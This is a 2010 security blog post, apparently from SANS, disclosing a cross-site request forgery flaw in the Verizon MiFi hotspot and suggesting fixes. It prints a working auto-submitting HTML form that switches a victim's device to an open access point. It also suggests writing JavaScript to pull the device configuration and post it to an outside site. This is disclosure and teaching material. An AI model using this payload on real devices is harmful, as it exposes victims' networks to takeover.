Software Security
Security Training
Security Certification
Internet Storm Center
Cyber Security Graduate School
Security Awareness Training
ICS/SCADA
Penetration Testing
Cyber Defense Foundations
IT Audit
Computer ForensicsI came across this last week during teaching Sec542 in New York. A bunch of students, including myself, used the Verizon MiFi device for internet access [1]. Recently, a number of issues had been released with the Novatel version of the device [2].
I figured it would be a nice exercise to look at the Verizon version of the device. This device does not include a GPS as far as I know, so the Novatel GPS exploit would not work. However, I run into the other part of the issue: The device does require a password to log in and retrieve the setting page, but it does not require a password to submit new settings. This flaw allows an attacker to change settings on the device by simply tricking the browser to submit a "POST" request to the right URL. The only variable the attacker has to guess is the IP address of the device, which defaults to 192.168.0.1.
In order to exploit the flaw, the attacker would have to setup a web page with the following content:
<form method="POST" action="http://192.168.x.y/home.cgi">
<input type="hidden" name="NP_WiCurrPf" value="Open">
<input type="hidden" name="todo" value="setprofile">
<input type="hidden" name="WiCurrPf" value="Open">
</form>
<script>
document.forms[0].submit();
</script>
The attacker will then have to trick the victim to visit the page with this code. The code above will turn the MiFi's settings to a default "open" access point. If the IP address is not known, the attacker would just use multiple forms until one works.
How to defend against this: A simple session logic would be a good start. In addition, "home.cgi" needs to check if the user is actually logged in. Right now, home.cgi accepts responses blindly. This problem exists for other MiFi features as well, like retrieving the configuration. I leave it up to the reader to write some javascript to pull the configuration and post it to a website (note: all you need is a GET. Same origin doesn't matter in this case for XDomainRequest or XMLHttpRequest Level 2).
[1] http://www.verizonwireless.com/b2c/mobilebroadband/?page=products_mifi
[2] http://www.engadget.com/2010/01/18/novatels-mifi-devices-shown-to-be-incredibly-useful-easily-hac/
Posted February 05, 2010 at 7:43 PM | Permalink | Reply
uberVU - social comments
<strong>Social comments and analytics for this post...</strong>
This post was mentioned on Twitter by johullrich: MiFi WiFo FunFi FoFun... More MiFi Fun. Consistent Authentication Matters! http://jbu.me/77...